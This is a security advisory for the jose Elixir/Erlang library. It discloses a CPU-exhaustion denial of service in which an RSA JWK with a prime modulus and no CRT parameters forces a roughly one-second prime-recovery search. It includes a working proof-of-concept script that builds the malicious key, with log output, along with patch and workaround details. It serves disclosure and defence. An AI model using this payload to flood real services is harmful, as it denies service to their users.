RSA JWK parse triggers attacker-controlled prime-recovery computation (CPU-exhaustion DoS)
Description
An unauthenticated attacker who can get an application to parse an untrusted JSON Web Key with JOSE.JWK.from_binary/1 (or from_map/1) can force a costly prime-recovery computation. A tiny JWK document of a few hundred bytes makes jose attempt to factor an attacker-chosen modulus, burning close to a full CPU-second per request. By flooding such requests an attacker can saturate every scheduler and deny service, without valid credentials or a valid RSA key.
Details
from_map/1 in src/jwk/jose_jwk_kty_rsa.erl is a public entry point that parses an untrusted JWK map. When the map is an RSA private key that supplies d, e, and n but omits all CRT parameters (p, q, dp, dq, qi), the final clause of from_map_rsa_private_key/2 does not reject the key. Instead it spawns a worker that calls convert_sfm_to_crt/1 (src/jwk/jose_jwk_kty_rsa.erl:422-450), which tries to recover the missing primes by factoring the modulus from (n, e, d) using the search loop convert_sfm_to_crt_find_p/6 (src/jwk/jose_jwk_kty_rsa.erl:354-374).
All three integers come straight from crypto:bytes_to_integer on base64url input and are never validated — they need not describe a real RSA key. The recovery loop iterates A = 2, 4, 6, … and performs modular exponentiation mod the large n on each step. If n cannot be split into two factors (for example, if it is itself prime), the loop never succeeds and keeps computing until it is stopped. Because the input is tiny but each iteration costs a modular exponentiation over an attacker-sized modulus, the cost is highly amplified; enlarging n (4096/8192-bit) increases the cost per core.
The only guard is a watchdog: the parent does receive … after 1000 -> erlang:exit(Child, kill), capping a single request at roughly one second in a separate process. This bounds one request but does nothing to prevent the amplification or to stop many concurrent requests from pinning all schedulers at 100% CPU.
PoC
The attached script rsa_jwk_parse_triggers_attacker_controlled_prime_recovery_co_2320.exs demonstrates the amplification directly against the trust boundary, JOSE.JWK.from_binary/1, which is the same parser an application would call on any externally supplied key. No HTTP server is needed to measure the parser's CPU cost.
The script builds a malicious JWK whose fields cannot form a valid RSA private key:
- It deterministically obtains a large prime by generating a real 2048-bit RSA key and taking its
pvalue — any RSA prime works, and an attacker can produce one offline. - It uses that prime as the alleged modulus
n, withe = 65537andd = 3:
``elixir malicious_map = %{"kty" => "RSA", "n" => prime_modulus, "e" => b64.(65_537), "d" => b64.(3)} ``
Because n is prime, the recovery search in convert_sfm_to_crt_find_p/6 can never split it into p * q, so the loop runs until jose's internal 1000 ms watchdog kills the worker. The map omits p, q, dp, dq, and qi, which is exactly the condition that routes from_map_rsa_private_key/2 into convert_sfm_to_crt/1.
The script encodes the map with JOSE.encode/1, prints its size (a few hundred bytes), then times a single JOSE.JWK.from_binary/1 call with :timer.tc, catching any raise or exit. It asserts the call reached the watchdog — elapsed time between 900 ms and 2000 ms — and that the parser ultimately rejected the key:
watchdog_reached? = elapsed_ms >= 900 and elapsed_ms < 2_000When both hold, it prints a VERIFIED: line reporting that one tiny attacker JWK forced roughly a second of prime-recovery work; otherwise it raises NOT VERIFIED. The full script is attached below under "Scripts and Logs" so the reader can run it themselves.
Impact
This is an unauthenticated, high-amplification CPU-exhaustion denial-of-service. Any application that parses untrusted RSA JWKs through jose's public JOSE.JWK.from_binary/1 / from_map/1 — for example accepting a JWK Set or a client-supplied key over an HTTP boundary — is affected. Each malicious request is only a few hundred bytes yet costs close to a full CPU-second, and larger moduli raise the cost further, so a modest flood can pin all BEAM schedulers and starve legitimate work. No credentials, no valid RSA key, and no special configuration are required.
Patches
Fixed in 1.11.13. Recovering the RSA primes from a private JWK that supplies only n, e and d is now bounded: moduli above 8192 bits are not searched, recovery runs a limited number of randomized trials under a work budget and a deadline checked before each expensive operation, and recovered factors are validated against the supplied exponents (a trial base that shares a factor with n counts as a failed trial). Keys above 8192 bits, or keys that exhaust the recovery budget, must include the CRT parameters (p, q, dp, dq, qi) to be imported.
Workarounds
If you cannot upgrade, do not parse private RSA JWKs from untrusted sources. If you must, reject any RSA JWK that has d but lacks p, q, dp, dq or qi before passing it to jose_jwk:from_map/1 / JOSE.JWK.from_map/1 (or the from, from_binary and from_file variants).
Scripts and Logs
# Verifies: RSA JWK parsing triggers attacker-controlled prime-recovery work
# (CPU-exhaustion denial of service)
#
# Threat model: an outside attacker supplies a JSON Web Key document to an
# application that parses untrusted keys with JOSE.JWK.from_binary/1. A private
# RSA JWK containing only n/e/d causes jose to reconstruct the omitted CRT
# parameters by attempting to factor n in convert_sfm_to_crt/1.
#
# The attacker chooses values that cannot form a valid RSA private key. This
# proof uses a prime number as `n`, so the recovery loop cannot find two factors
# and runs until jose's internal 1000 ms watchdog kills its worker. The public
# trust boundary is JOSE.JWK.from_binary/1; no HTTP server is needed to measure
# the parser's CPU amplification.
Mix.install([{:jose, "1.11.12"}])
b64 = fn integer ->
integer
|> :binary.encode_unsigned()
|> Base.url_encode64(padding: false)
end
# Obtain a known large prime deterministically for this run. An attacker can do
# this offline: `p` from any generated RSA key is prime. Using it as the alleged
# modulus guarantees that the recovery search cannot split n into p*q.
source_rsa_map =
{:rsa, 2048}
|> JOSE.JWK.generate_key()
|> JOSE.JWK.to_map()
|> elem(1)
prime_modulus = source_rsa_map["p"]
malicious_map = %{
"kty" => "RSA",
"n" => prime_modulus,
"e" => b64.(65_537),
"d" => b64.(3)
}
payload = JOSE.encode(malicious_map)
IO.puts("Malicious JWK payload size: #{byte_size(payload)} bytes")
{elapsed_us, outcome} =
:timer.tc(fn ->
try do
{:returned, JOSE.JWK.from_binary(payload)}
rescue
error -> {:raised, error.__struct__}
catch
kind, reason -> {:caught, kind, reason}
end
end)
elapsed_ms = elapsed_us / 1000
IO.puts("JOSE.JWK.from_binary/1 elapsed: #{Float.round(elapsed_ms, 1)} ms")
IO.puts("parser outcome: #{inspect(outcome)}")
watchdog_reached? = elapsed_ms >= 900 and elapsed_ms < 2_000
rejected? = match?({:raised, _}, outcome) or match?({:caught, _, _}, outcome)
if watchdog_reached? and rejected? do
IO.puts(
"VERIFIED: one #{byte_size(payload)}-byte attacker JWK forced approximately " <>
"#{Float.round(elapsed_ms, 0)} ms of prime-recovery work before rejection."
)
else
raise "NOT VERIFIED: parser did not reach the expected one-second recovery watchdog"
end
Logs
Malicious JWK payload size: 211 bytes
JOSE.JWK.from_binary/1 elapsed: 1008.5 ms
parser outcome: {:raised, ArgumentError}
VERIFIED: one 211-byte attacker JWK forced approximately 1009.0 ms of prime-recovery work before rejection.